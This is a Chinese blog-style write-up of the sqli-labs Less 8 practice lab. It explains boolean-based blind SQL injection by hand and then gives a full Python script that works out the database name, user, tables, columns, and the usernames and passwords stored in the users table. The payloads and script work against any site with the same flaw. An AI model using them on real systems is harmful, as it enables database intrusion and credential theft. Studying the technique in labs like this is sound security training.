小白日记 2day sqli-labs-master/Less 8

Less 8 GET-Blind-Boolian Based-Single Quotes

拿到一个新的题目,首先先自己测一下,这里我们已经知道注入点在哪里了,直接开干就完事了。
在这里插入图片描述
首先测试?id=1可以看到这里出现了一串字符而不是图片,“you are in…”
在这里插入图片描述
再此测试,?id=1’,发现我们看不到那一串字符了,
在这里插入图片描述
是一个异常状态,但是并没有报错信息。可以初步判断,存在注入,但是返回信息没有报错那么详细的东西,所以它是一个‘盲注’。但是它存在两种状态,正常的时候,会显示一段字符,但是错误的时候会什么都没有。这就像bool函数,只有true和false两个return值。
接着,我们理一下思路,我们第一步需要知道它的数据库名字是什么?再然后,这个库下的表有几个,都是什么名字?再接着是列,在最后是值。
首先,我们猜测表的长度,使用到了一个函数,length(),顾名思义就是返回这个库名字长度的函数,正确“you are in…”,错误没有 you are

  • 第一次,令length(database())=1 明显不对 在这里插入图片描述
  • 。。。。。。经过多次的重复。。。。。。终于
  • 第8次,length(database())=8
    在这里插入图片描述
    得到长度之后,就要测试这个数据库的名字了,使用到的函数是这一个left(a,b),功能是返回a字符,从左到右b个字符,这里我们就要测试所有的字符[也就是符合mysql命名规范的],如果是手动试的话可以尝试二分法,用ascii码值比较,逐渐缩小范围,能看这个博客,相信这个实现对读者应该没有难度。这里测试的前两个,s,se,sec,secu,secur,…,自己试吧贴图。
    在这里插入图片描述
    知道这个以后就要尝试,去获取表了,和上述方法一样,就不再赘述了,举个例子吧。
?id=1' and left((select group_concat(table_name) from information_schema.tables where table_schema=database() limit 0,1),2)='ea' --+

这里解释一下把,left()函数没有发生改变,但是里边的字符串有一个选择问题,
就是limit,后边的数字第一个就是,起始位置,第二个是,从起始位置起,返回几个字符,这里只能比较一个所以就,写1,就OK了。
后边的就一样了,就不再做展示了。

前边做那么多的步骤,就是因为这个步骤过于繁琐,现在利用脚本实现。

# -*- coding:utf8 -*-
import requests
url='http://localhost/sqli-labs-master/Less-8/?id=1%27'
payload1= " and%20left({d}(),{n})=%27{s}%27%20--+"
payload2= " and%20ascii(substr((select%20table_name%20from%20information_schema.tables%20where%20table_schema=database()%20limit%20{t},1),{w},1))={A}%20--+"
payload3= " and%20%20left((select%20column_name%20from%20information_schema.columns%20where%20table_schema=%27security%27%20and%20table_name=%27users%27%20limit%20{w},1),{n})=%27{c}%27%20--+"
payload4= " and left((select username from users where id={n}),{w})='{d}' --+"
payload5= " and left((select password from users where id={n}),{w})='{d}' --+"
#最后进行 操作的是 url-payload
list1=['a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z',
       'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z',
       '0','1','2','3','4','5','6','7','8','9','@','.','-','|','_','!','?','.']
list2=[64, 94, 96, 124, 176, 40, 41, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 173, 175, 95, 65, 66, 67, 68, 69, 70, 71,
       72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 97, 98, 99, 100, 101, 102, 103,
       104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122, 44]

strone='You are in...........'
print(type(strone))
#第一步确定数据库的名字
database=''
##第一小步:首先要知道数据库名字的长度
for i in range(1,50):
     for ss in list1:
         p=payload1.format(d='database',n=i,s=database+ss)
         u=requests.get(url+p)
         #print("访问的是:",url+p)
         #print(u.content)
         #print(type(u))
         if strone in u.text:
             database += ss
             print('正在对比databsaede的第',i,'个字符',database)
             #print(database)
             break
print('对比成功,database为:',database)
user=''
for i in range(1,50):
     for ss in list1:
         p=payload1.format(d='user',n=i,s=user+ss)
         u=requests.get(url+p)
         if strone in u.text:
             user += ss
             print('正在对比user的第',i,'个字符',user)
             #print(database)
             break
print('对比成功,database为:',user)
#第二小步去搞表名称
table1=''
table2=''
table3=''
table4=''
for i in range(0,4):
    for j in range(0,15):
        for s in list2:
            p=payload2.format(t=i,w=j,A=s)
            u=requests.get(url+p)
            if strone in u.text:
                if i == 0:
                    table1 += chr(s) #ascii转化
                    print('正在对比第1个表,','第',j,'个字符',table1)
                elif i == 1:
                    table2 += chr(s)
                    print('正在对比第2个表,','第',j,'个字符',table2)
                elif i == 2:
                    table3 += chr(s)
                    print('正在对比第3个表,','第',j,'个字符',table3)
                elif i == 3:
                    table4 += chr(s)
                    print('正在对比第4个表,','第',j,'个字符',table4)
                    break
#第三步,获取users中的东西
column=['','','','','','']
for j in range(0,3):
    for i in range(1,9):
        for l in list1:
            p=payload3.format(w=j,n=i,c=column[j]+l)
            u=requests.get(url+p)
            if strone in u.text:
                column[j] += l
                print('正在对比第',j+1,'个字段第',i,'个字符',column[j])
                break
#第四步,获取值
username=['','','','','','','','','','','','','','','','','','','','','','','','','']
password=['','','','','','','','','','','','','','','','','','','','','','','','','']
for i in range(1,15):
    for j in range(1,11):
        for l in list1:
            p=payload4.format(n=i,w=j,d=username[i-1]+l)
            u=requests.get(url+p)
            if strone in u.text:
                username[i-1]+=l
                print('正在对比第',i,'个记录的username的第',j,'个字符',username[i-1])
for i in range(1,15):
    for j in range(1,11):
        for l in list1:
            p=payload5.format(n=i,w=j,d=password[i-1]+l)
            u=requests.get(url+p)
            if strone in u.text:
                password[i-1]+=l
                print('正在对比第',i,'个记录的password的第',j,'个字符',password[i-1])


print('数据库名:',database)
print('user:',user)
print('表名为:',table1,table2,table3,table4)
print('列名:',column)
print('username:',username)
print('password:',password)



评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值